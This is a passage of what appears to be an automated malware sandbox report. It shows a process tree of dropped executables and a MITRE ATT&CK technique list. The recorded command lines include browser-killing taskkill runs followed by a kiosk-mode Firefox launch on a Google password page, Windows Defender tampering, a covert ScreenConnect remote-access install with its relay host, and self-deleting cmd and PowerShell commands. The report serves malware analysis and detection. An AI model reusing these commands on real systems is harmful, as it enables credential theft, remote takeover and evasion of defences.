- - C:\Users\Admin\AppData\Local\Temp\1015433001\21d95f9538.exe
    "C:\Users\Admin\AppData\Local\Temp\1015433001\21d95f9538.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:388
- - C:\Users\Admin\AppData\Local\Temp\1015434001\21bdfa3967.exe
    "C:\Users\Admin\AppData\Local\Temp\1015434001\21bdfa3967.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:1220
- - C:\Users\Admin\AppData\Local\Temp\1015435001\81432b77dd.exe
    "C:\Users\Admin\AppData\Local\Temp\1015435001\81432b77dd.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:3388
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM firefox.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      PID:4388
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM chrome.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      PID:1984
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM msedge.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      PID:4592
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM opera.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      PID:1072
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM brave.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      PID:1668
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
      4⤵
      PID:1896
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
        5⤵
        Checks processor information in registry
        Modifies registry class
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of SetWindowsHookEx
        
        PID:3000
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2032 -parentBuildID 20240401114208 -prefsHandle 1952 -prefMapHandle 1944 -prefsLen 23680 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {bd7706f5-e7f4-465a-b9c4-7b69dce480a4} 3000 "\\.\pipe\gecko-crash-server-pipe.3000" gpu
        6⤵
        
        PID:4552
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2468 -parentBuildID 20240401114208 -prefsHandle 2460 -prefMapHandle 2448 -prefsLen 24600 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {01f75084-f1d2-44d8-a9c4-5aacf163ae3d} 3000 "\\.\pipe\gecko-crash-server-pipe.3000" socket
        6⤵
        
        PID:4640
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3108 -childID 1 -isForBrowser -prefsHandle 2968 -prefMapHandle 3012 -prefsLen 22652 -prefMapSize 244658 -jsInitHandle 1248 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6439aca3-4d45-4608-b474-1c5eba2dddac} 3000 "\\.\pipe\gecko-crash-server-pipe.3000" tab
        6⤵
        
        PID:2992
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4100 -childID 2 -isForBrowser -prefsHandle 4092 -prefMapHandle 4084 -prefsLen 29090 -prefMapSize 244658 -jsInitHandle 1248 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {176fa7b1-aff5-4252-9c49-6aa7cd6aeafa} 3000 "\\.\pipe\gecko-crash-server-pipe.3000" tab
        6⤵
        
        PID:4908
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4808 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4852 -prefMapHandle 4848 -prefsLen 29090 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {74c29233-9160-440e-9c00-55daa3ccf085} 3000 "\\.\pipe\gecko-crash-server-pipe.3000" utility
        6⤵
        Checks processor information in registry
        
        PID:760
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5556 -childID 3 -isForBrowser -prefsHandle 5548 -prefMapHandle 5544 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 1248 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {260da9fa-37f3-429d-904f-4608a91e5806} 3000 "\\.\pipe\gecko-crash-server-pipe.3000" tab
        6⤵
        
        PID:5928
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5700 -childID 4 -isForBrowser -prefsHandle 5780 -prefMapHandle 5776 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 1248 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {5e05e4a7-0cb0-40c1-82ee-cb2329ee98ac} 3000 "\\.\pipe\gecko-crash-server-pipe.3000" tab
        6⤵
        
        PID:5944
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5688 -childID 5 -isForBrowser -prefsHandle 5916 -prefMapHandle 5920 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 1248 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {5d889a9d-e6fd-4516-9eb2-ca2eca262622} 3000 "\\.\pipe\gecko-crash-server-pipe.3000" tab
        6⤵
        
        PID:2560
- - C:\Users\Admin\AppData\Local\Temp\1015436001\2e06673134.exe
    "C:\Users\Admin\AppData\Local\Temp\1015436001\2e06673134.exe"
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Windows security modification
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:5296
- - C:\Users\Admin\AppData\Local\Temp\1015437001\342d9e45e1.exe
    "C:\Users\Admin\AppData\Local\Temp\1015437001\342d9e45e1.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    PID:5376
  - - C:\Users\Admin\AppData\Local\Temp\1015437001\342d9e45e1.exe
      "C:\Users\Admin\AppData\Local\Temp\1015437001\342d9e45e1.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:5324
- - C:\Users\Admin\AppData\Local\Temp\1015438001\5c2d2b4639.exe
    "C:\Users\Admin\AppData\Local\Temp\1015438001\5c2d2b4639.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    PID:460
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\Admin\AppData\Local\Temp\1015438001\5c2d2b4639.exe" & rd /s /q "C:\ProgramData\WL6PZU3WBSJE" & exit
      4⤵
      System Location Discovery: System Language Discovery
      PID:6132
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 10
        5⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:5952
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 460 -s 2100
      4⤵
      Program crash
      PID:6004
- - C:\Users\Admin\AppData\Local\Temp\1015439001\93f4ee93fd.exe
    "C:\Users\Admin\AppData\Local\Temp\1015439001\93f4ee93fd.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:5680

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Boot or Logon Autostart Execution: Authentication Package
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2008
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding BB7AC0A483623EF7764879BE11CAB097 C
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3608
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIEA8F.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240642812 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:3912
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:2100
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 9B6FC9E76B9DFDCB1BB5B244BFD07DB7
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:3980
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 2EB7FB1361D07120FE6DD940BD780C15 E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  PID:1416

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
PID:4804

C:\Program Files (x86)\ScreenConnect Client (eecac53463291819)\ScreenConnect.ClientService.exe
"C:\Program Files (x86)\ScreenConnect Client (eecac53463291819)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-cxesop-relay.screenconnect.com&p=443&s=84bf50aa-e2b7-457a-a44f-958fd1c82e24&k=BgIAAACkAABSU0ExAAgAAAEAAQDx1DHr4t4dt8ezw9lB%2fAZu61lzOgi0vaiVYGdRvGLHe%2fMcvb5Lpv%2fMiRt%2bnJ3tq%2frtseQSQWvbbVdRjxfce31nmMEp%2f1PAVmTl3fwEYA1nCr0dd%2fV%2bMSoMjceavUp0WVj7eRWHA6bNGzYSn5o73ZcILBdRw%2f3jSJ6CgAPJBVMmuv7rFKKZ%2b5N8sdLjxWROqyQbD%2b%2fVYbOCjPSB41oQm%2feZa3S3dqb54HfFBeo03T9ZLnc4oQ65Mabx8v%2bIKhwdH15qLzbe2qCb8palNLn0UxIAV2tlJJHkIQXrYLlVVfpFPJXj118ZgMG7GUqfzoT1k56csyoWsFLZClXlsSLEHGC8"
1⤵
- Sets service image path in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1888
- C:\Program Files (x86)\ScreenConnect Client (eecac53463291819)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (eecac53463291819)\ScreenConnect.WindowsClient.exe" "RunRole" "54b651eb-b365-4ab0-905f-11748644cb21" "User"
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:4976
- C:\Program Files (x86)\ScreenConnect Client (eecac53463291819)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (eecac53463291819)\ScreenConnect.WindowsClient.exe" "RunRole" "c253b07f-5bcd-4dac-b39f-c67eb76bbc39" "System"
  2⤵
  - Executes dropped EXE
  - Checks processor information in registry
  - Modifies data under HKEY_USERS
  PID:4476

C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
1⤵
PID:4532

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:4936

C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe
C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:5880
- C:\Windows\explorer.exe
  explorer.exe
  2⤵
  PID:5904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:5964
- - C:\Windows\system32\PING.EXE
    "C:\Windows\system32\PING.EXE" 127.1.10.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:5700

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 460 -ip 460
1⤵
PID:896

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:5796

C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe
C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:4396
- C:\Windows\explorer.exe
  explorer.exe
  2⤵
  PID:4360
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:6004
- - C:\Windows\system32\PING.EXE
    "C:\Windows\system32\PING.EXE" 127.1.10.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:5940

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

Virtualization/Sandbox Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

Remote System Discovery

T1018

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Virtualization/Sandbox Evasion